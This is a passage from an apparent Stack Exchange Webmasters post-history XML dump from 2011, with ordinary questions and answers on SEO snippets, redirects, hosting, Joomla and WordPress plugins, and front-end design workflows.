  <row Id="35600" PostHistoryTypeId="5" PostId="15105" RevisionGUID="39bb30c7-c311-48eb-a1df-a7d81c84d9ba" CreationDate="2011-06-10T19:18:46.147" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How can I provide star rating metadata to search engines?](http://webmasters.stackexchange.com/questions/7139/how-can-i-provide-star-rating-metadata-to-search-engines)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm not much of a pro about web crawlers, especially Google. I just need some expert answers about how the crawling works around my website. I've already got a sitemap.xml on the root of my website which gets updated every few hours.&#xD;&#xA;&#xD;&#xA;Is it possible to decide what Google (or any other crawlers, Yahoo, Bing, etc) crawls and displays on their search engine website? For example this simple search for Inception shows a nice detailed description with a rating above it.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;I mean, exactly how do you decided the crawler to show on the results page, showing those nice stars and a detailed description and the bottom links (Full cast and crew, etc). I want to be able to get my website crawled the way I want it to do when a crawler comes to my website and picks up the most important data that it needs to pick up.&#xD;&#xA;&#xD;&#xA;Also, what got me curious about, how do you also contain a picture on those results like this:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OT4o6.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/Ke61c.png" />
  <row Id="35601" PostHistoryTypeId="10" PostId="15105" RevisionGUID="4670f0d7-f9bd-4c08-8202-de055e07ad31" CreationDate="2011-06-10T19:18:45.290" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35602" PostHistoryTypeId="2" PostId="15106" RevisionGUID="91b82795-6fa6-4e65-8a3a-41c377824456" CreationDate="2011-06-10T19:19:17.393" UserId="8150" Text="I have error with the vbulletin , how to fix it ? &#xD;&#xA;Fatal error: Class 'Template_Runtime' not found in /includes/class_core.php(4078) : eval()'d code on line 44" />
  <row Id="35603" PostHistoryTypeId="1" PostId="15106" RevisionGUID="91b82795-6fa6-4e65-8a3a-41c377824456" CreationDate="2011-06-10T19:19:17.393" UserId="8150" Text="vbulletin eval error Template Runtime" />
  <row Id="35604" PostHistoryTypeId="3" PostId="15106" RevisionGUID="91b82795-6fa6-4e65-8a3a-41c377824456" CreationDate="2011-06-10T19:19:17.393" UserId="8150" Text="&lt;vbulletin&gt;" />
  <row Id="35605" PostHistoryTypeId="2" PostId="15107" RevisionGUID="8c424f13-f0ed-496e-8fbd-3614c1a88f33" CreationDate="2011-06-10T19:54:16.610" UserId="1064" Text="You cannot be PCI DSS compliant if you do not control physical access to the server hardware which will store customer card information.&#xD;&#xA;&#xD;&#xA;Related:&#xD;&#xA;&#xD;&#xA;* [PCS DSS Guide][1] PDF - see &quot;Requirement 9: Restrict physical access to cardholder data&quot;&#xD;&#xA;&#xD;&#xA;* [Linode forums topic][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.pcisecuritystandards.org/pdfs/pci_dss_saq_navigating_dss.pdf&#xD;&#xA;  [2]: http://www.linode.com/forums/viewtopic.php?t=4105#20120" />
  <row Id="35606" PostHistoryTypeId="17" PostId="15108" RevisionGUID="ca68f117-5d5f-4e31-ba90-08298b54f7e3" CreationDate="2011-06-10T20:02:56.403" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16117/what-are-some-quality-computer-based-exam-applications-including-both-paid-servic" Text="" />
  <row Id="35607" PostHistoryTypeId="2" PostId="15108" RevisionGUID="0d11e486-801e-4073-b50b-d8623c0ee8a1" CreationDate="2011-06-10T14:41:30.373" UserDisplayName="Karl Napekoski" Text="I am interested in hosting a series of online dermatopathology quizes.&#xD;&#xA;&#xD;&#xA;I would like to be able to store the questions in an online database and then post the questions in an exam format.&#xD;&#xA;&#xD;&#xA;So what I need is a quiz-building application I can install on the LAMP stack." />
  <row Id="35608" PostHistoryTypeId="1" PostId="15108" RevisionGUID="0d11e486-801e-4073-b50b-d8623c0ee8a1" CreationDate="2011-06-10T14:41:30.373" UserDisplayName="Karl Napekoski" Text="What are some quality computer based exam applications including both paid services and free apps that I can load onto my LAMP server?" />
  <row Id="35609" PostHistoryTypeId="3" PostId="15108" RevisionGUID="0d11e486-801e-4073-b50b-d8623c0ee8a1" CreationDate="2011-06-10T14:41:30.373" UserDisplayName="Karl Napekoski" Text="&lt;web-applications&gt;&lt;free&gt;&lt;online&gt;" />
  <row Id="35610" PostHistoryTypeId="5" PostId="15108" RevisionGUID="0f5eee40-b761-42a2-b0ce-a1e78b6011a9" CreationDate="2011-06-10T20:04:32.570" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [CMS for Managing Quizzes](http://webmasters.stackexchange.com/questions/12775/cms-for-managing-quizzes)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am interested in hosting a series of online dermatopathology quizes.&#xD;&#xA;&#xD;&#xA;I would like to be able to store the questions in an online database and then post the questions in an exam format.&#xD;&#xA;&#xD;&#xA;So what I need is a quiz-building application I can install on the LAMP stack." />
  <row Id="35611" PostHistoryTypeId="10" PostId="15108" RevisionGUID="3efe5331-1d4e-4abb-a3ed-cdafbf25eec1" CreationDate="2011-06-10T20:04:31.743" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="35612" PostHistoryTypeId="2" PostId="15109" RevisionGUID="d8933744-72dc-4588-80e5-95e2a1209ba9" CreationDate="2011-06-10T20:54:56.623" UserId="6901" Text="I'm really impressed with stackexchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building.&#xD;&#xA;&#xD;&#xA;Does anyone know of a php wiki that has a concept of privileges/reputation similar to stack exchange?" />
  <row Id="35613" PostHistoryTypeId="1" PostId="15109" RevisionGUID="d8933744-72dc-4588-80e5-95e2a1209ba9" CreationDate="2011-06-10T20:54:56.623" UserId="6901" Text="Wiki Application With A Reputation System" />
  <row Id="35614" PostHistoryTypeId="3" PostId="15109" RevisionGUID="d8933744-72dc-4588-80e5-95e2a1209ba9" CreationDate="2011-06-10T20:54:56.623" UserId="6901" Text="&lt;looking-for-a-script&gt;&lt;wiki&gt;" />
  <row Id="35618" PostHistoryTypeId="25" PostId="15109" RevisionGUID="05665399-cee7-41e0-9cc6-1438c5eba237" CreationDate="2011-06-10T21:18:09.437" Comment="http://twitter.com/#!/StackWebmasters/status/79296313606406145" />
  <row Id="35619" PostHistoryTypeId="2" PostId="15111" RevisionGUID="698422b4-3266-405a-bfd7-6e94ac5220da" CreationDate="2011-06-10T21:23:23.927" UserId="-1" Text="" />
  <row Id="35620" PostHistoryTypeId="2" PostId="15112" RevisionGUID="e62cb45b-20eb-4bc3-878a-692cc8843d75" CreationDate="2011-06-10T21:23:23.927" UserId="-1" Text="" />
  <row Id="35621" PostHistoryTypeId="17" PostId="15113" RevisionGUID="c6acab45-6882-4b2b-adf2-3e750195deb8" CreationDate="2011-06-10T21:49:54.580" UserId="-1" Comment="from http://stackoverflow.com/questions/6294047/do-users-resize-text" Text="" />
  <row Id="35622" PostHistoryTypeId="2" PostId="15114" RevisionGUID="9df8c4d2-a486-4933-8ea6-d2fa0c55fdd0" CreationDate="2011-06-09T14:07:37.620" UserDisplayName="aL3891" Text="it really depends on the target audience i'd say. if its a frontfacing website i think you should cover your bets and try and make it look good (or atleast usable) with increased text size, if its an internal website perhaps it doesnt matter so much..&#xD;&#xA;&#xD;&#xA;sorry for the vague awnser, but its really something the customer (internal or external) can awnser best " />
  <row Id="35623" PostHistoryTypeId="2" PostId="15113" RevisionGUID="922592f2-f9fe-4a2e-af28-430a05b393b7" CreationDate="2011-06-09T14:04:05.813" UserId="8331" UserDisplayName="jdln" Text="Im redesigning a website. For certain content areas the layout is fine at my text size but screws up if I set the text any bigger. I ofter resize pages with firefox, but the whole page resizes so the layout still works. &#xD;&#xA;&#xD;&#xA;So, should I worry about users having larger text but the same CSS otherwise? I dont know how to test for this sort of thing. The site works fine with every browser ive looked at it with. I know some usability devices change layouts but dont they ignore normal styles all together?  &#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="35624" PostHistoryTypeId="1" PostId="15113" RevisionGUID="922592f2-f9fe-4a2e-af28-430a05b393b7" CreationDate="2011-06-09T14:04:05.813" UserId="8331" UserDisplayName="jdln" Text="Do users resize text?" />
  <row Id="35625" PostHistoryTypeId="3" PostId="15113" RevisionGUID="922592f2-f9fe-4a2e-af28-430a05b393b7" CreationDate="2011-06-09T14:04:05.813" UserId="8331" UserDisplayName="jdln" Text="&lt;usability&gt;" />
  <row Id="35626" PostHistoryTypeId="17" PostId="15114" RevisionGUID="4e2c3c8c-781d-44a1-9b89-3cec920e3229" CreationDate="2011-06-10T21:49:54.580" UserId="-1" Comment="from http://stackoverflow.com/questions/6294047/do-users-resize-text" Text="" />
  <row Id="35627" PostHistoryTypeId="2" PostId="15115" RevisionGUID="f45dac6e-0753-4fc9-8862-703585ba4323" CreationDate="2011-06-10T22:32:57.010" UserId="702" Text="A friend of mine is an architect starting her own business, and needs to build a basic brochure site to promote herself. The site will simply include a few articles and pictures of projects she worked on.&#xD;&#xA;&#xD;&#xA;There are so many CMS that it's hard to choose on, but the following are basic requirements:&#xD;&#xA;- Open-source&#xD;&#xA;- Mature, and with good support&#xD;&#xA;- In PHP, since just about any hoster supports PHP&#xD;&#xA;- DB-free, to make deployment really basic. If the SCM really does need a database for indexing, SQLite is OK&#xD;&#xA;- Good UI so she can easily add articles and photos to her site without having to know any HTML/CSS&#xD;&#xA;- Nice templates to choose from&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="35628" PostHistoryTypeId="1" PostId="15115" RevisionGUID="f45dac6e-0753-4fc9-8862-703585ba4323" CreationDate="2011-06-10T22:32:57.010" UserId="702" Text="Open-source, PHP, DB-free SCM for brochure site?" />
  <row Id="35629" PostHistoryTypeId="3" PostId="15115" RevisionGUID="f45dac6e-0753-4fc9-8862-703585ba4323" CreationDate="2011-06-10T22:32:57.010" UserId="702" Text="&lt;php&gt;&lt;cms&gt;" />
  <row Id="35630" PostHistoryTypeId="17" PostId="15116" RevisionGUID="01a010cb-cd58-4305-87a1-c674030cd7dd" CreationDate="2011-06-10T23:56:33.493" UserId="-1" Comment="from http://superuser.com/questions/295659/permananet-redirect" Text="" />
  <row Id="35631" PostHistoryTypeId="2" PostId="15116" RevisionGUID="6a47c5d1-5716-45df-9484-b69177e37aa9" CreationDate="2011-06-10T22:22:42.780" UserDisplayName="Milli Saboski" Text="I have a domain, say www.example.com which is redirected to a website built in Google Sites. I don't want different search engines treat example.com as a different site from www.example.com. How do I make a permanent link between the two? My domain is under GoDaddy.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;In Go Daddy, I have forwarding option set to google site link.&#xD;&#xA;&#xD;&#xA;Under CNAME, I have google provided alias and directions." />
  <row Id="35632" PostHistoryTypeId="1" PostId="15116" RevisionGUID="6a47c5d1-5716-45df-9484-b69177e37aa9" CreationDate="2011-06-10T22:22:42.780" UserDisplayName="Milli Saboski" Text="Permananet Redirect" />
  <row Id="35633" PostHistoryTypeId="3" PostId="15116" RevisionGUID="6a47c5d1-5716-45df-9484-b69177e37aa9" CreationDate="2011-06-10T22:22:42.780" UserDisplayName="Milli Saboski" Text="&lt;websites&gt;&lt;web-hosting&gt;" />
  <row Id="35634" PostHistoryTypeId="2" PostId="15117" RevisionGUID="a1453087-b3c6-41aa-a038-d32e0795ff6b" CreationDate="2011-06-11T00:11:53.470" UserId="1253" Text="1) Do a 301 redirect from one to the other. Here is the code you can place in an .htaccess file in your webroot (change your_domain.com to be your actual domain):&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www.your_domain.com$&#xD;&#xA;    RewriteRule ^(.*)$ http://www.your_domain.com/$1 [R=301]&#xD;&#xA;&#xD;&#xA;2) In [Google Webmaster Tools you can set your preferred domain][1] so Google knows which one you prefer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=44231" />
  <row Id="35636" PostHistoryTypeId="2" PostId="15118" RevisionGUID="daa67194-11f4-4f0e-a580-4f46b42b28f5" CreationDate="2011-06-11T01:42:04.137" UserId="8165" Text="I found out hostgator has their servers hosted with softlayer. I wasn't aware there was another company involved. Can someone explain to me what's the role of a company like softlayer exactly and what they do vs. what hostgator does?" />
  <row Id="35637" PostHistoryTypeId="1" PostId="15118" RevisionGUID="daa67194-11f4-4f0e-a580-4f46b42b28f5" CreationDate="2011-06-11T01:42:04.137" UserId="8165" Text="What exactly is a company like softlayer" />
  <row Id="35638" PostHistoryTypeId="3" PostId="15118" RevisionGUID="daa67194-11f4-4f0e-a580-4f46b42b28f5" CreationDate="2011-06-11T01:42:04.137" UserId="8165" Text="&lt;web-hosting&gt;" />
  <row Id="35639" PostHistoryTypeId="2" PostId="15119" RevisionGUID="1fe1aeb8-994e-40df-826f-5681b048cada" CreationDate="2011-06-11T02:01:39.003" UserId="8163" Text="Softlayer recently acquired theplanet.com which acquired... well you get the idea. They provide data centers, server rentals, co-location and the like. Hostgator obviously uses them for their data center services which provide redundant sources of power and bandwidth, earthquake protection, etc, and then build their own line of products and services on top of that.&#xD;&#xA;&#xD;&#xA;Don't forget there are always other companies involved - softlayer does not produce all of their electricity, they purchase large bandwidth pipes from various companies and of course someone has to supply the hardware for the servers and routers.&#xD;&#xA;&#xD;&#xA;Softlayer and their various divisions and strategic business units also provide hosting services and compete with hostgator at various levels." />
  <row Id="35640" PostHistoryTypeId="17" PostId="15120" RevisionGUID="02037e9c-e99a-454d-a63c-1e077c5cacf8" CreationDate="2011-06-11T02:51:58.667" UserId="-1" Comment="from http://stackoverflow.com/questions/6302744/i-am-looking-for-a-wordpress-drupal-or-joomla-plugin" Text="" />
  <row Id="35641" PostHistoryTypeId="17" PostId="15121" RevisionGUID="0a1ac623-275d-4b1c-829c-b88142068626" CreationDate="2011-06-11T02:51:58.667" UserId="-1" Comment="from http://stackoverflow.com/questions/6302744/i-am-looking-for-a-wordpress-drupal-or-joomla-plugin" Text="" />
  <row Id="35642" PostHistoryTypeId="17" PostId="15122" RevisionGUID="54d51629-24f3-4eff-b788-0f80a429a8d2" CreationDate="2011-06-11T02:51:58.667" UserId="-1" Comment="from http://stackoverflow.com/questions/6302744/i-am-looking-for-a-wordpress-drupal-or-joomla-plugin" Text="" />
  <row Id="35643" PostHistoryTypeId="2" PostId="15121" RevisionGUID="5860e8b8-cb94-40ae-b615-ebabd1733a7d" CreationDate="2011-06-10T06:37:21.630" UserDisplayName="Extrakun" Text="You do not need any plugins for Wordpress to achieve that. Just look up [customized Wordpress loop][1] or you can try post thumbnail plugin (there are many, [here's an example][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://weblogtoolscollection.com/archives/2008/04/13/define-your-own-wordpress-loop-using-wp_query/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/wp-post-thumbnail/" />
  <row Id="35644" PostHistoryTypeId="2" PostId="15122" RevisionGUID="b35d30b2-1c68-4f47-8501-9ee7872a6d1c" CreationDate="2011-06-10T07:03:35.293" UserDisplayName="Jozzeh" Text="For Drupal you need the cck module and imagecache if you are using Drupal 6. No module needed if you use Drupal 7 (don't know if imagecache is in a standard Drupal 7 build). &#xD;&#xA;&#xD;&#xA;You can just make a content type &quot;product&quot;, add the fields you want, scale the imagefield with imagecache and you can create the look by making a template tpl.php for that content type, or use views. " />
  <row Id="35645" PostHistoryTypeId="2" PostId="15120" RevisionGUID="ce86c4e0-ce53-4827-b2b8-547760c60475" CreationDate="2011-06-10T06:30:28.570" UserId="5481" Text="I am looking for Wordpress, Drupal or Joomla plugin similar to [this one][1], with product list and PDF attachments. &#xD;&#xA;&#xD;&#xA;Does anyone know if there is such a plugin?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eurocoffee.gr/content.php?cat=338" />
  <row Id="35646" PostHistoryTypeId="1" PostId="15120" RevisionGUID="ce86c4e0-ce53-4827-b2b8-547760c60475" CreationDate="2011-06-10T06:30:28.570" UserId="5481" Text="I am looking for a Wordpress, Drupal or Joomla plugin" />
  <row Id="35647" PostHistoryTypeId="3" PostId="15120" RevisionGUID="ce86c4e0-ce53-4827-b2b8-547760c60475" CreationDate="2011-06-10T06:30:28.570" UserId="5481" Text="&lt;wordpress&gt;&lt;drupal&gt;&lt;joomla&gt;" />
  <row Id="35648" PostHistoryTypeId="25" PostId="15098" RevisionGUID="06736281-b0c3-4e1b-8641-3298a00ba917" CreationDate="2011-06-11T03:18:10.470" Comment="http://twitter.com/#!/StackWebmasters/status/79386915123642368" />
  <row Id="35649" PostHistoryTypeId="17" PostId="15123" RevisionGUID="daf26459-a0fd-4fdc-8cc7-be4b6c243018" CreationDate="2011-06-11T03:39:06.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6299509/joomla-mailchimp-plugin-issue" Text="" />
  <row Id="35650" PostHistoryTypeId="2" PostId="15123" RevisionGUID="59833a29-9b7b-4c0c-ae46-c0b9c90ca179" CreationDate="2011-06-09T21:25:11.010" UserDisplayName="Jess McKenzie" Text="I am having an issue with using the Joomla Mail Chimp Newsletter Module,&#xD;&#xA;&#xD;&#xA;I have implemented this into a page but when I click suscribe it does not show any validation messages or add the email to Mailchimp.&#xD;&#xA;&#xD;&#xA;It just refreshes the page.&#xD;&#xA;&#xD;&#xA;Why" />
  <row Id="35651" PostHistoryTypeId="1" PostId="15123" RevisionGUID="59833a29-9b7b-4c0c-ae46-c0b9c90ca179" CreationDate="2011-06-09T21:25:11.010" UserDisplayName="Jess McKenzie" Text="Joomla Mailchimp Plugin Issue" />
  <row Id="35652" PostHistoryTypeId="3" PostId="15123" RevisionGUID="59833a29-9b7b-4c0c-ae46-c0b9c90ca179" CreationDate="2011-06-09T21:25:11.010" UserDisplayName="Jess McKenzie" Text="&lt;joomla&gt;" />
  <row Id="35653" PostHistoryTypeId="17" PostId="15124" RevisionGUID="f982dad2-3aba-4f28-a44b-6a3706e8655a" CreationDate="2011-06-11T05:29:59.623" UserId="-1" Comment="from http://stackoverflow.com/questions/6308245/joomla-1-6-links-vs-aliases" Text="" />
  <row Id="35654" PostHistoryTypeId="2" PostId="15124" RevisionGUID="adc12f10-1cf5-4d7f-bb2a-100346fbeade" CreationDate="2011-06-10T15:05:27.450" UserDisplayName="Vojtech" Text="I have recently upgraded from Joomla 1.5 to 1.6.&#xD;&#xA;&#xD;&#xA;I like the new functions included BUT I have encountered a very strange problem:&#xD;&#xA;&#xD;&#xA;I have created new Menu and items and I want the menu to be present only on specific pages. When I link to some page where the menu should be, everything works fine but when I click somewhere else, the menu is still there and it shouldn't be. &#xD;&#xA;&#xD;&#xA;Here is the source of the problem:&#xD;&#xA;&#xD;&#xA;The link should appear like this: index.php?option=com_content&amp;view=category&amp;id=13&#xD;&#xA;&#xD;&#xA;But when I open this page in a browser it says in the address bar:&#xD;&#xA;/index.php/newmenu/7-about-joomla.html&#xD;&#xA;&#xD;&#xA;And when I try to get somewhere else, the menu alias (newmenu in this case) is inherited to other pages so, the menu is on all pages.&#xD;&#xA;&#xD;&#xA;Is there something I am doing terribly wrong or is it a bug with Joomla?&#xD;&#xA;&#xD;&#xA;Just to put more clarification: I am using Ninja Simple Icon Menu module as a main menu, where I am trying to correctly link to other pages.&#xD;&#xA;&#xD;&#xA;The website is located here:&#xD;&#xA;doctrina.vojtech-esner.com&#xD;&#xA;Use name: demo and pass: demo , to get in.&#xD;&#xA;&#xD;&#xA;Thank you for your answer.&#xD;&#xA;&#xD;&#xA;UPDATE: I forgot to mention that this site run previously on Joomla 1.5 and everything was working like a charm. It is the 1.6 which gives me this problem." />
  <row Id="35655" PostHistoryTypeId="1" PostId="15124" RevisionGUID="adc12f10-1cf5-4d7f-bb2a-100346fbeade" CreationDate="2011-06-10T15:05:27.450" UserDisplayName="Vojtech" Text="Joomla! 1.6 links vs aliases" />
  <row Id="35656" PostHistoryTypeId="3" PostId="15124" RevisionGUID="adc12f10-1cf5-4d7f-bb2a-100346fbeade" CreationDate="2011-06-10T15:05:27.450" UserDisplayName="Vojtech" Text="&lt;joomla&gt;" />
  <row Id="35657" PostHistoryTypeId="17" PostId="15125" RevisionGUID="d0c14114-38db-488c-8768-80bc61065db5" CreationDate="2011-06-11T06:09:12.890" UserId="-1" Comment="from http://stackoverflow.com/questions/6314315/designing-web-ui" Text="" />
  <row Id="35658" PostHistoryTypeId="17" PostId="15126" RevisionGUID="5df6df2c-46d0-45d5-bf4d-6601f65e97c7" CreationDate="2011-06-11T06:09:12.890" UserId="-1" Comment="from http://stackoverflow.com/questions/6314315/designing-web-ui" Text="" />
  <row Id="35659" PostHistoryTypeId="17" PostId="15127" RevisionGUID="07b6d90c-06a0-4a34-90de-1be284ceddd9" CreationDate="2011-06-11T06:09:12.890" UserId="-1" Comment="from http://stackoverflow.com/questions/6314315/designing-web-ui" Text="" />
  <row Id="35660" PostHistoryTypeId="2" PostId="15126" RevisionGUID="f91517cd-6014-441c-9a6f-f3e7bf800b43" CreationDate="2011-06-11T05:57:53.653" UserId="1394" Text="I use Photoshop first to visualize.  Slice images I can't duplicate with CSS. Fire up any text editor and code away. HTML markup first.  CSS second and Javacript (if necessary) last.&#xD;&#xA;&#xD;&#xA;Each &quot;big&quot; CSS change I make I'll save and refresh the browser." />
  <row Id="35661" PostHistoryTypeId="2" PostId="15127" RevisionGUID="e81f7a31-dfcb-4517-a6df-ad70cd21a3fa" CreationDate="2011-06-11T06:01:10.343" UserDisplayName="sscirrus" Text="Kevin,&#xD;&#xA;&#xD;&#xA;Every designer has their own unique skillset and their own preferences - this is why, while there are 'popular' tools like Photoshop, there is no one way to use them and there is no set working method or workflow. &#xD;&#xA;&#xD;&#xA;Ultimately, you work with the strengths you might have and do whatever it takes to mitigate the weaknesses. &#xD;&#xA;&#xD;&#xA;I personally use Firebug and Chrome developer tools to test and debug, I code CSS on TextMate (but trying out Visualizer) and I recognize a current weakness in graphics design (i.e. creating images of my own). I supplement this by reading internet articles every time I hit a roadblock, and bit by bit you learn the subtleties of CSS - while in theory there shouldn't be all that many, you'll soon discover CSS is laden with quirks, largely due to differences between the browsers (and within them, predominantly IE's many variations)." />
  <row Id="35662" PostHistoryTypeId="2" PostId="15125" RevisionGUID="c803784c-8889-4af8-97cb-d99a8f79f62b" CreationDate="2011-06-11T05:37:35.150" UserDisplayName="Kevin" Text="I'm pretty comfortable with the backend side of web development (say, using java spring mvc, or grails), but I really don't know where to start when it comes to client side UI (as in designing pages that look good). OK, I know that there's CSS and I can do just about anything with it, and I know about CSS frameworks like Blueprint. &#xD;&#xA;&#xD;&#xA;But how do front end designers actually design pages? Do they use a WYSIWYG editor of some sort? Do they code the whole thing in vim and rely on their magical CSS skills? Do they use something like Photoshop to visualize the page and then translate that to html+css? &#xD;&#xA;&#xD;&#xA;I'm hoping for some insight into the way professional developers actually do it, vs. &quot;Go find a site you like, click view source, copy the things you like, repeat&quot;; or &quot;Go to www.freecsstemplates.com and download a template, copy into css directory&quot;. Unless that IS the way professional developers design pages, which would be sad. &#xD;&#xA;&#xD;&#xA;EDIT: &#xD;&#xA;&#xD;&#xA;Hopefully this doesn't get closed. What I'm asking is: Is it normal for people to simply code in notepad or vim or whatever, and just apply css knowledge. Is that the way frontend designers typically work, in industry. Its the way I imagine approaching it. Or do they do something else? I'd like to get better at it but I'd like to know vaguely the right approach." />
  <row Id="35663" PostHistoryTypeId="1" PostId="15125" RevisionGUID="c803784c-8889-4af8-97cb-d99a8f79f62b" CreationDate="2011-06-11T05:37:35.150" UserDisplayName="Kevin" Text="designing web UI" />
  <row Id="35664" PostHistoryTypeId="3" PostId="15125" RevisionGUID="c803784c-8889-4af8-97cb-d99a8f79f62b" CreationDate="2011-06-11T05:37:35.150" UserDisplayName="Kevin" Text="&lt;css&gt;" />
  <row Id="35665" PostHistoryTypeId="25" PostId="15125" RevisionGUID="412956db-641a-461a-a19f-c0b162c07f49" CreationDate="2011-06-11T06:18:11.650" Comment="http://twitter.com/#!/StackWebmasters/status/79432217633370112" />
  <row Id="35666" PostHistoryTypeId="2" PostId="15128" RevisionGUID="46b09c2d-c056-4190-90be-402bdcd7f5b8" CreationDate="2011-06-11T06:59:32.817" UserId="8167" Text="You raise a good question. There is some mixing of terms (front-end designer, front-end developer, which are very often not the same) which made the answer for me a little less concise that maybe you would prefer (sorry).&#xD;&#xA;&#xD;&#xA;Separating the terms out could clarify the answer a bit, as I think of them as quite separate and requiring non-overlapping expertise that are quite often not done by the same person, as both fields require years of experience in order to gain expertise.&#xD;&#xA;&#xD;&#xA;For the record, I am a front-end developer and no one in their right mind wants me *designing* their website. My responsibility is PHP, CSS and JavaScript. I don't create the Photoshop files; they get handed to me to cut up into HTML/CSS.&#xD;&#xA;&#xD;&#xA;Web *designers* are typically responsible for transforming a client's requirements and branding into a graphical layout (most times, a Photoshop PSD). They're often formally trained in design (line, colour, form). I think understanding principles of design is probably more important that choosing a piece of software in this field and would the first place to start if you haven't already. Since you say, &quot;I really don't know where to start when it comes to client side UI (as in designing pages that look good),&quot; I believe this would be the first logical starting point to gain proficiency in this field.&#xD;&#xA;&#xD;&#xA;In terms of workflow/tools, designers typically use software like Balsamiq Mockups or Keynote ([http://keynotekungfu.com/][1]) to first generate mockups so clients can approve a UI/layout without getting bogged down in colour choices or textures. They also use techniques like mood boards or design tiles to capture the branding and 'look and feel' of a site before committing to a fully-fledged design. Once they agree on a palette and layout for the site, they then use Photoshop, or less often, Fireworks or another graphics program, to create a completed design.&#xD;&#xA;&#xD;&#xA;In the majority of shops, and in the experience of most professional freelancers I know, the front-end developer (who is usually but not always a different person), then takes the completed PSD and cuts it into working HTML/CSS. What tool in used is a matter of personal preference as well as a subject of animated debate. I like Coda. Others like TextMate or TextWrangler. Not many people in either profession that I'm met use PCs. It is a Mac world. PCs are for the suits, man.&#xD;&#xA;&#xD;&#xA;My own workflow as a front-end developer includes:&#xD;&#xA;&#xD;&#xA; - Firebug and Chrome's Developer Tools for CSS development.&#xD;&#xA; - Coda for authoring HTML/CSS/JavaScript/PHP. It's a very lightweight IDE that includes a CSS editor, code completion and syntax highlighting for all the above.&#xD;&#xA; - Photoshop for cutting the PSD into HTML.&#xD;&#xA; - The Firefox add-on MeasureIt for taking pixel measurements in the browser.&#xD;&#xA; - The Firefox add-on Pixel Perfect for creating exact pixel matches of the delivered PSD files (designers will be very happy with you for respecting their original designs).&#xD;&#xA; - a Windows VM for testing in IE. I use VMWare Fusion, which is generally good but super processor intensive, but there is also Wine, which is free and other good choices.&#xD;&#xA; - the Firefox add-on Web Developer Toolbar for a variety of tasks (checking how a site looks with JavaScript disabled, theming at the print stylesheet output, checking for accessibility, viewing the semantic structure of a site etc.). &#xD;&#xA; - Firefox add-on ColorZilla for monitoring color, grabbing hex codes from sites (very, very useful)&#xD;&#xA;&#xD;&#xA;I've also used Safari's iPad/iPhone view to test the site using a mobile user-agent.&#xD;&#xA;&#xD;&#xA;Those are some of the tools I use at least. I'd be interested in other techniques.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://keynotekungfu.com/" />
  <row Id="35667" PostHistoryTypeId="5" PostId="15128" RevisionGUID="e39d17d6-f137-46a6-a584-efd7ce66b02f" CreationDate="2011-06-11T07:14:17.043" UserId="8167" Comment="clarified" Text="You raise a good question. There is some mixing of terms (front-end designer, front-end developer, which are very often not the same) which made the answer for me a little less concise that maybe you would prefer (sorry).&#xD;&#xA;&#xD;&#xA;Separating the terms out could clarify the answer a bit, as I think of them as quite separate and requiring non-overlapping expertise that are quite often not done by the same person, as both fields require years of experience in order to gain expertise.&#xD;&#xA;&#xD;&#xA;For the record, I am a front-end developer and no one in their right mind wants me *designing* their website. My responsibility is PHP, CSS and JavaScript. I don't create the Photoshop files; they get handed to me to cut up into HTML/CSS.&#xD;&#xA;&#xD;&#xA;Web *designers* are typically responsible for transforming a client's requirements and branding into a graphical layout (most times, a Photoshop PSD). They're often formally trained in design (line, colour, form). I think understanding principles of design is probably more important that choosing a piece of software in this field and would the first place to start if you haven't already. Since you say, &quot;I really don't know where to start when it comes to client side UI (as in designing pages that look good),&quot; I believe this would be the first logical starting point to gain proficiency in this field.&#xD;&#xA;&#xD;&#xA;In terms of workflow/tools, designers typically use software like Balsamiq Mockups or Keynote ([http://keynotekungfu.com/][1]) to first generate mockups so clients can approve a UI/layout without getting bogged down in colour choices or textures. These might be very quick sketches meant to inform the design, or they can be very involved wireframes (a separate deliverable in itself), that meticulously map out the page flow, layout and functionality. &#xD;&#xA;&#xD;&#xA;Designers also use techniques like mood boards or design tiles to capture the branding and 'look and feel' of a site before committing to a fully-fledged design. Once the client decides on a palette, UI, and layout for the site, the designer then uses Photoshop, or less often, Fireworks or another graphics program, to create a completed design.&#xD;&#xA;&#xD;&#xA;In the majority of shops, and in the experience of most professional freelancers I know, the front-end developer (who is usually but not always a different person), then takes the completed PSD and cuts it into working HTML/CSS. What tool in used is a matter of personal preference as well as a subject of animated debate. I like Coda. Others like TextMate or TextWrangler. Not many people in either profession that I'm met use PCs. It is a Mac world. PCs are for the suits, man.&#xD;&#xA;&#xD;&#xA;My own workflow as a front-end developer includes:&#xD;&#xA;&#xD;&#xA; - Firebug and Chrome's Developer Tools for CSS development.&#xD;&#xA; - Coda for authoring HTML/CSS/JavaScript/PHP. It's a very lightweight IDE that includes a 